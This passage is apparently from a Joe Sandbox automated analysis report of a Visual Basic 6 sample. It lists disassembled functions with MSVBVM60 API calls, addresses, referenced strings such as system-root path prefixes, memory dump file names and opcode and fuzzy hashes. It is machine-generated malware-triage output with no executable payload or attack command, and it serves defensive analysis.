__vbaUbound.MSVBVM60(00000001,?,?,?,00000040,?,00000000), ref: 004165B8
__vbaI2I4.MSVBVM60(?,?,00000040,?,00000000), ref: 004165C0
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004165F6
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416606
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416622
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416632
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416665
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416675
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004166BD
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004166CD
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004166F3
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416703
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416729
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416739
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416755
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416762
__vbaExitProc.MSVBVM60(?,?,00000040,?,00000000), ref: 0041678D
__vbaAryDestruct.MSVBVM60(00000000,?,004167B5), ref: 004167AE
__vbaErrorOverflow.MSVBVM60(?,00000000,?,?,00000040,?,00000000), ref: 004167CB

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$BoundsGenerate$System$DestructExitLockOverflowProcRedimUboundUnlock
String ID:
API String ID: 2234381736-0
Opcode ID: a464f5ca76685ac84e1fccbaa1c1c20bc3de5b4abe262b6c2715ba6d0aacd5c5
Instruction ID: f2618860313800eaedd81b2e61ad480ccb106d02fda6e258e19164c82fe6daf4
Opcode Fuzzy Hash: a464f5ca76685ac84e1fccbaa1c1c20bc3de5b4abe262b6c2715ba6d0aacd5c5
Instruction Fuzzy Hash: 01C15D719002199BCF14DFA8CA80AEEB7B5FF48304F61459AD419B7280D775ED82CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E840 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,004025E6), ref: 0040E85E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,004025E6), ref: 0040E8A3
__vbaStrCopy.MSVBVM60(?,?,?,?,004025E6), ref: 0040E8B8
#712.MSVBVM60(?,file:///,00406674,00000001,000000FF,00000000,?,?,?,?,004025E6), ref: 0040E8D9
__vbaStrMove.MSVBVM60(?,?,?,?,004025E6), ref: 0040E8E4
#712.MSVBVM60(?,00407218,004055FC,00000001,000000FF,00000000,?,?,?,?,004025E6), ref: 0040E905
__vbaStrMove.MSVBVM60(?,?,?,?,004025E6), ref: 0040E910
#572.MSVBVM60(00004002), ref: 0040E969
__vbaStrMove.MSVBVM60 ref: 0040E974
#537.MSVBVM60(00000020), ref: 0040E97F
__vbaStrMove.MSVBVM60 ref: 0040E98A
__vbaStrMove.MSVBVM60(00000001,000000FF,00000001), ref: 0040E9B6
__vbaStrMove.MSVBVM60(00407220,00000000), ref: 0040E9C8
__vbaStrCat.MSVBVM60(00000000), ref: 0040E9CF
__vbaStrMove.MSVBVM60 ref: 0040E9DA
#712.MSVBVM60(?,00000000), ref: 0040E9E5
__vbaStrMove.MSVBVM60 ref: 0040E9F0
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,00000000,00000000), ref: 0040EA0C
__vbaStrCopy.MSVBVM60 ref: 0040EA2E
__vbaFreeStr.MSVBVM60(0040EA78), ref: 0040EA71
__vbaErrorOverflow.MSVBVM60 ref: 0040EAA2

Strings

, xrefs: 0040E929
file:///, xrefs: 0040E8D0

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$#712$CopyErrorFree$#537#572ChkstkListOverflow
String ID: $file:///
API String ID: 1913684286-1087255347
Opcode ID: 471baceb6f3394a0abeda471f643fca34b39d10fb75ad6f9a39b5992f0af1d91
Instruction ID: 6c3c390ee14800d438280c46509e4d6c9a5a921f8fc3fa6165506003015d033a
Opcode Fuzzy Hash: 471baceb6f3394a0abeda471f643fca34b39d10fb75ad6f9a39b5992f0af1d91
Instruction Fuzzy Hash: 6551FA71900208EBDB04DFE4DE48BDEBBB4FF08714F208229E612BB2A4DB755A45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040C843 Relevance: 39.4, APIs: 26, Instructions: 364COMMON

Download Yara Rule

APIs

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C884
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406C48,0000004C), ref: 0040C8B7
__vbaFreeObj.MSVBVM60 ref: 0040C8EF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00405414,00000728), ref: 0040C94E
__vbaChkstk.MSVBVM60(?), ref: 0040C984
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040563C,00000020), ref: 0040C9C8
__vbaObjSet.MSVBVM60(?,?), ref: 0040C9FB
__vbaErrorOverflow.MSVBVM60 ref: 0040CC42
__vbaOnError.MSVBVM60(00000001), ref: 0040CC8C
__vbaNew2.MSVBVM60(004055D8,0041B8D8), ref: 0040CCA4
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CCC7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406C48,00000040), ref: 0040CCEB
__vbaObjSet.MSVBVM60(?,?), ref: 0040CD02
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004055C8,0000000C), ref: 0040CD18
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040CD28
__vbaExitProc.MSVBVM60 ref: 0040CD31

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$CheckHresult$ErrorFree$ChkstkExitListNew2OverflowProc
String ID:
API String ID: 435708370-0
Opcode ID: 0fb701564dfaea06c5895f1466d9b178208b09d8fd869f579df3c1af8609f287
Instruction ID: a4ec598c1f86ad3a10f33067e1d5db8d23c0cfab8629dd77bc108e4b9737f716
Opcode Fuzzy Hash: 0fb701564dfaea06c5895f1466d9b178208b09d8fd869f579df3c1af8609f287
Instruction Fuzzy Hash: EDE11775900208EFDB14DFA4C988ADEBBB5FF48700F208269F509B7291D7759985CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00418C90 Relevance: 36.9, APIs: 20, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,00409F3C,80000002,00000000), ref: 00418CAE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CDB
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CE7
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CF3
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 00418D02
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004025E6), ref: 00418D1B
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004025E6), ref: 00418D2B
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418D39
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418D42
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004025E6), ref: 00418D53
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004025E6), ref: 00418D62
__vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004025E6), ref: 00418D75
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004025E6), ref: 00418D85
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418D93
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418DA1
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004025E6), ref: 00418DB1
__vbaSetSystemError.MSVBVM60(?,?,00000000,004025E6), ref: 00418DCA
__vbaFreeStr.MSVBVM60(00418E07,?,00000000,004025E6), ref: 00418DEE
__vbaFreeStr.MSVBVM60(?,00000000,004025E6), ref: 00418DF7
__vbaFreeStr.MSVBVM60(?,00000000,004025E6), ref: 00418E00

Strings

`%@, xrefs: 00418CED

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$Error$AnsiCopySystemUnicode$BstrChkstkList
String ID: `%@
API String ID: 653519621-700023621
Opcode ID: 47785f7da99cc1d885bec86910e85175bc0604dc897027ecb10ac562a20b6aef
Instruction ID: 012eab173ab8f044d01c72bc6db05120050b8ff049b8a372a5089938a40e6a64
Opcode Fuzzy Hash: 47785f7da99cc1d885bec86910e85175bc0604dc897027ecb10ac562a20b6aef
Instruction Fuzzy Hash: 5E41DA76900209EBCB04EFE4DE59EDEBB78FB48305F108519F216B71A0DB75AA44CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004123C0 Relevance: 34.6, APIs: 23, Instructions: 111COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,?,?,?,00000000,004025E6), ref: 004123DE
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 0041240B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004025E6), ref: 0041241A
#648.MSVBVM60(0000000A), ref: 00412439
__vbaFreeVar.MSVBVM60 ref: 00412448
__vbaI2I4.MSVBVM60(?), ref: 0041245C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0041246A
__vbaI2I4.MSVBVM60 ref: 0041247A
#570.MSVBVM60(00000000), ref: 00412481
__vbaLenBstr.MSVBVM60(00404B24), ref: 0041248E
__vbaLenBstr.MSVBVM60(00404B24), ref: 004124C1
#525.MSVBVM60(00000000), ref: 004124C8
__vbaStrMove.MSVBVM60 ref: 004124D3
__vbaI2I4.MSVBVM60 ref: 004124E3
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 004124EE
__vbaI2I4.MSVBVM60 ref: 004124FE
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 0041250B

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?), ref: 00412526
__vbaI2I4.MSVBVM60 ref: 00412536
__vbaFileClose.MSVBVM60(00000000), ref: 0041253D
__vbaFreeStr.MSVBVM60(0041257A), ref: 0041256A
__vbaFreeStr.MSVBVM60 ref: 00412573
__vbaErrorOverflow.MSVBVM60 ref: 00412590

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$Move$BstrFile$#516#631Error$#525#570#648ChkstkCloseCopyGet3OpenOverflowSeek
String ID:
API String ID: 2204187013-0
Opcode ID: aee74aa748bdbe5f43d680c2071f8268772085965dd0da7e2e4a6c12403588e9
Instruction ID: 9955b3bf1519d9cbb4ebd4c64d53d5ed1380afe2e3f12c5c860cc2a089516978
Opcode Fuzzy Hash: aee74aa748bdbe5f43d680c2071f8268772085965dd0da7e2e4a6c12403588e9
Instruction Fuzzy Hash: F341E971D00248EBDB04DFA4DB5DBDEBBB5AB48305F208129E512B76A0DB785A44CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004161B0 Relevance: 31.7, APIs: 21, Instructions: 182COMMON

Download Yara Rule

APIs

__vbaAryConstruct2.MSVBVM60(?,004075E8,00000011,00000000,660CC33A,6600A3D7), ref: 00416207
__vbaSetSystemError.MSVBVM60(00000000,?,00000040,?,00000000), ref: 00416231
__vbaSetSystemError.MSVBVM60(?,?,00000002), ref: 00416242
#537.MSVBVM60(00000000), ref: 00416252
__vbaStrMove.MSVBVM60 ref: 0041625F
#537.MSVBVM60(?,00000000), ref: 0041626B
__vbaStrMove.MSVBVM60 ref: 00416272
__vbaStrCat.MSVBVM60(00000000), ref: 00416275
__vbaStrMove.MSVBVM60 ref: 00416280
__vbaStrCmp.MSVBVM60(004075CC,00000000), ref: 00416288
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004162A5
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 004162D9
__vbaSetSystemError.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 004162EF
#537.MSVBVM60(?,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00416300
__vbaStrMove.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 00416307
__vbaStrCmp.MSVBVM60(004075E0,00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 0041630F
#537.MSVBVM60(00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00416326
__vbaStrMove.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 0041632D
__vbaStrCmp.MSVBVM60(004075D8,00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00416335
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,00000004,?,00000000,?,?,?,00000000), ref: 0041636D
__vbaAryDestruct.MSVBVM60(00000000,?,004163C6), ref: 004163BF

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$#537ErrorSystem$FreeList$Construct2Destruct
String ID:
API String ID: 2170920009-0
Opcode ID: 6ebc35bea6a8f601c4351b039a5634e8cf150fa43bae1ceb42ad26cebf419b59
Instruction ID: 748b6d861cac5db048dabb3adba27979951a1416e05c768a4f54423434dde149
Opcode Fuzzy Hash: 6ebc35bea6a8f601c4351b039a5634e8cf150fa43bae1ceb42ad26cebf419b59
Instruction Fuzzy Hash: 99518371A00219ABDB14DBB4CD45FEEBBB9EF48700F11812AE946F7291DA745D04CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040E340 Relevance: 31.7, APIs: 21, Instructions: 166COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 0040E391
__vbaCastObj.MSVBVM60(00000000,004071DC), ref: 0040E39F
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040E3AA
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407144,000007C4), ref: 0040E3D0
__vbaFreeObj.MSVBVM60 ref: 0040E3DD
__vbaCastObj.MSVBVM60(00000000,004071DC), ref: 0040E3F0
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040E3FB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407144,000007C4), ref: 0040E41B
__vbaFreeObj.MSVBVM60 ref: 0040E420
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407144,000007BC), ref: 0040E445
__vbaHresultCheckObj.MSVBVM60(00000000,?,004071EC,00000078), ref: 0040E465
__vbaStrCopy.MSVBVM60 ref: 0040E46D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407144,000007B0), ref: 0040E494
#519.MSVBVM60(?), ref: 0040E49A
__vbaStrMove.MSVBVM60 ref: 0040E4A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040E4B9
__vbaFreeObj.MSVBVM60 ref: 0040E4C5
__vbaLenBstr.MSVBVM60(?), ref: 0040E4CF
__vbaRaiseEvent.MSVBVM60(?,00000001,00000001), ref: 0040E4FC
__vbaExitProc.MSVBVM60 ref: 0040E50E
__vbaFreeStr.MSVBVM60(0040E546), ref: 0040E53F

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$CheckFreeHresult$Cast$#519BstrCopyErrorEventExitListMoveProcRaise
String ID:
API String ID: 2502233557-0
Opcode ID: 7be39dfed923fa2b8522099cfc5c1e781b78136ccb618d12821b1d76752c5173
Instruction ID: 2210176cfa9892e4a02b66722b5e7dfe915d6efbf244aeeba38d0bb5bf168e27
Opcode Fuzzy Hash: 7be39dfed923fa2b8522099cfc5c1e781b78136ccb618d12821b1d76752c5173
Instruction Fuzzy Hash: 3D514BB1901208ABDB00DFA5DD48EEEBBB8FF48704F10856AF505B72A0D774A945CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00410B60 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

#712.MSVBVM60(?,\??\,00406674,00000001,000000FF,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 00410BAC
__vbaStrMove.MSVBVM60(?,\??\,00406674,00000001,000000FF,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 00410BB9
#712.MSVBVM60(?,\\?\,00406674,00000001,000000FF,00000000,?,\??\,00406674,00000001,000000FF,00000000), ref: 00410BCE
__vbaStrMove.MSVBVM60(?,\??\,00406674,00000001,000000FF,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 00410BD5
#712.MSVBVM60(?,\SystemRoot\,00000000,00000001,000000FF,00000001,?,\??\,00406674,00000001,000000FF,00000000), ref: 00410BEC
__vbaStrMove.MSVBVM60(?,\??\,00406674,00000001,000000FF,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 00410BF3
#712.MSVBVM60(?,%systemroot%,00000000,00000001,000000FF,00000001,?,\??\,00406674,00000001,000000FF,00000000), ref: 00410C0B
__vbaStrMove.MSVBVM60(?,\??\,00406674,00000001,000000FF,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 00410C12
#712.MSVBVM60(?,00407458,004055FC,00000001,000000FF,00000000,?,\??\,00406674,00000001,000000FF,00000000), ref: 00410C27
__vbaStrMove.MSVBVM60(?,\??\,00406674,00000001,000000FF,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 00410C2E
__vbaStrCopy.MSVBVM60(?,\??\,00406674,00000001,000000FF,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 00410C36
__vbaFreeStr.MSVBVM60(00410C57,?,\??\,00406674,00000001,000000FF,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 00410C50

Strings

\\?\, xrefs: 00410BC8
\??\, xrefs: 00410BA0
%systemroot%, xrefs: 00410C05
\SystemRoot\, xrefs: 00410BE6

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$#712Move$CopyFree
String ID: %systemroot%$\??\$\SystemRoot\$\\?\
API String ID: 2546659950-1311169778
Opcode ID: 8b5b65525cf323457cd06075d39e7c1bde9f6f91a6c07b5f569d8b5f78ef97a4
Instruction ID: 3cf452ae6fb0dfcbcd02110e459b44aaa686f69a821e3f1c8313cc58adc2f9c6
Opcode Fuzzy Hash: 8b5b65525cf323457cd06075d39e7c1bde9f6f91a6c07b5f569d8b5f78ef97a4
Instruction Fuzzy Hash: 8F214B70A54209BBCB04EB54CC82FEFBB79AB54710F204327B611B72D4DEB45945CAD4

Uniqueness

Uniqueness Score: -1.00%

Function 00418B50 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,00000000,?,?,?,?,004025E6), ref: 00418B6E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418B9B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418BA7
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6,00000000), ref: 00418BB6
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004025E6,00000000), ref: 00418BCF
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004025E6,00000000), ref: 00418BDF
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6,00000000), ref: 00418BED
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418BF6
__vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,(%@,00000004,?,?,?,00000000,004025E6,00000000), ref: 00418C15
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004025E6,00000000), ref: 00418C25
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6,00000000), ref: 00418C33
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418C3C
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004025E6,00000000), ref: 00418C52
__vbaFreeStr.MSVBVM60(00418C7C,?,?,?,00000000,004025E6,00000000), ref: 00418C6C
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418C75

Strings

(%@, xrefs: 00418C05, 00418C08

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$ErrorFree$System$AnsiCopyUnicode$Chkstk
String ID: (%@
API String ID: 3031735744-1462787901
Opcode ID: 566f84c16e9852cbe43a341eb0fc3600b6bd4deadf9746a13e5076369c76cc33
Instruction ID: 2163017d223cc4516af4853558ee8a19d87b4fb9e6127d64d5f8f75e22c004d5
Opcode Fuzzy Hash: 566f84c16e9852cbe43a341eb0fc3600b6bd4deadf9746a13e5076369c76cc33
Instruction Fuzzy Hash: C731FBB5800209ABCB04DFE4DE59FDE7B78FB48714F108569F211B72A0D7746A48CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040FDD0 Relevance: 27.1, APIs: 18, Instructions: 122COMMON

Download Yara Rule

APIs

__vbaStrCat.MSVBVM60(00401D48,004072B8,?,00000001), ref: 0040FE20
__vbaStrMove.MSVBVM60 ref: 0040FE2D
__vbaStrCat.MSVBVM60(004072C0,00000000), ref: 0040FE35
__vbaStrMove.MSVBVM60 ref: 0040FE3C
__vbaInStr.MSVBVM60(00000000,00000000), ref: 0040FE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040FE52
__vbaStrCat.MSVBVM60(00401D48,00407390,?,-00000001), ref: 0040FE80
__vbaStrMove.MSVBVM60(?,-00000001), ref: 0040FE87
__vbaStrCat.MSVBVM60(004072C0,00000000,?,-00000001), ref: 0040FE8F
__vbaStrMove.MSVBVM60(?,-00000001), ref: 0040FE96
__vbaInStr.MSVBVM60(00000000,00000000,?,-00000001), ref: 0040FE9B
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,-00000001), ref: 0040FEAD
__vbaLenBstr.MSVBVM60 ref: 0040FEC0
__vbaLenBstr.MSVBVM60(?,?), ref: 0040FEF3
#631.MSVBVM60(?,-00000002,?,?), ref: 0040FF09
__vbaStrMove.MSVBVM60(?,-00000002,?,?), ref: 0040FF14
__vbaFreeVar.MSVBVM60(?,-00000002,?,?), ref: 0040FF19
__vbaErrorOverflow.MSVBVM60 ref: 0040FF69

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Free$BstrList$#631ErrorOverflow
String ID:
API String ID: 43011225-0
Opcode ID: 885353d30146d4874439d9188de8ce179380beda0541da3dfd58a4a737dd6ec3
Instruction ID: f3b2892753be04fed0370ccfbe7307407226e01e24b32ae3149310476cb42e92
